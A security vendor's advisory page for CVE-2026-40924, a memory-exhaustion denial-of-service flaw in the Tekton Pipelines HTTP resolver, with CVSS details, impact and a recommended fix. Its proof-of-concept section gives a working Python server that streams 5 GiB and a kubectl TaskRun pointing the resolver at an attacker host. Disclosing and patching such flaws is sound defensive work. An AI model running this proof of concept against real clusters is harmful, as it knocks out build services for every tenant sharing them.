Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-40924 — tekton-pipelines

🟡 CVSS 6.5 — Medium ✅ No Known Exploit CWE-400 NVD
6.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion

Summary

The HTTP resolver's FetchHttpResource function calls io.ReadAll(resp.Body) with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the tekton-pipelines-resolvers pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated pkg/resolution/resolver/http and the current pkg/remoteresolution/resolver/http implementations.

Details

pkg/resolution/resolver/http/resolver.go:279–307:

```go

func FetchHttpResource(ctx context.Context, params map[string]string,

kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {

httpClient, err := makeHttpClient(ctx) // default timeout: 1 minute

// ...

resp, err := httpClient.Do(req)

// ...

defer func() { _ = resp.Body.Close() }()

body, err := io.ReadAll(resp.Body) // ← no size limit

if err != nil {

return nil, fmt.Errorf("error reading response body: %w", err)

}

// ...

}

```

makeHttpClient sets http.Client{Timeout: timeout} where timeout defaults to 1 minute and is configurable via fetch-timeout in the http-resolver-config ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.

The resolver deployment (config/core/deployments/resolvers-deployment.yaml) sets a 4 GiB memory limit on the controller container. A response of 4 GiB or larger delivered at wire speed will cause io.ReadAll to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.

The remoteresolution HTTP resolver (pkg/remoteresolution/resolver/http/resolver.go:90) delegates directly to the same FetchHttpResource function and is equally affected.

PoC

```bash

# Step 1: Run an HTTP server that streams a large response fast

python3 - <<'EOF'

import http.server, socketserver

class LargeResponseHandler(http.server.BaseHTTPRequestHandler):

def do_GET(self):

self.send_response(200)

self.send_header("Content-Type", "application/octet-stream")

self.end_headers()

# Stream 5 GB at full speed — completes in <60s on a local network

chunk = b"X" * (1024 * 1024) # 1 MiB chunk

for _ in range(5120): # 5120 * 1 MiB = 5 GiB

self.wfile.write(chunk)

def log_message(self, *args):

pass

with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:

httpd.serve_forever()

EOF

# Step 2: Create a TaskRun that triggers the HTTP resolver

kubectl create -f - <<'EOF'

apiVersion: tekton.dev/v1

kind: TaskRun

metadata:

name: dos-poc

namespace: default

spec:

taskRef:

resolver: http

params:

  • name: url

value: http://attacker-server.internal:8080/large-payload

EOF

# Expected result: tekton-pipelines-resolvers pod is OOM-killed.

# All resolver types in the cluster (git, hub, bundle, cluster, http)

# become unavailable until Kubernetes restarts the pod.

# Repeated submission causes a crash loop that continuously disrupts

# resolution for all tenants in the cluster.

```

Note: On clusters where operators have set a higher fetch-timeout (e.g., 10m), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.

Impact

  • Denial of Service: OOM-kill of the tekton-pipelines-resolvers pod denies all resolution services cluster-wide until Kubernetes restarts the pod.
  • Crash loop amplification: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.
  • Blast radius: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.

Recommended Fix

Wrap resp.Body with io.LimitReader before passing to io.ReadAll. Add a configurable max-body-size option to the http-resolver-config ConfigMap with a sensible default (e.g

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-40924 is classified as CWE-400: Uncontrolled Resource Consumption. A request can consume memory, CPU or storage without limit, exhausting capacity for everyone else.

Affected software

CVE-2026-40924 is recorded against 2 packages.

  • github.com/tektoncd/pipeline
  • tekton-pipelines (fixed in 1.11.1)

Timeline and source

Published on 21 April 2026 and last revised on 23 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Other advisories for this package

github.com/tektoncd/pipeline has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-400: Uncontrolled Resource Consumption) in other software:

Details

Severity Medium
CVSS Score 6.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-400
Public Exploit ✅ No
Source NVD
Published 2026-04-21
Updated 2026-08-20
Modified 2026-07-23
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/tektoncd/pipeline
tekton-pipelines 1.11.1

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in tekton-pipelines

CVE-2026-40924 is rated CVSS 6.5 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026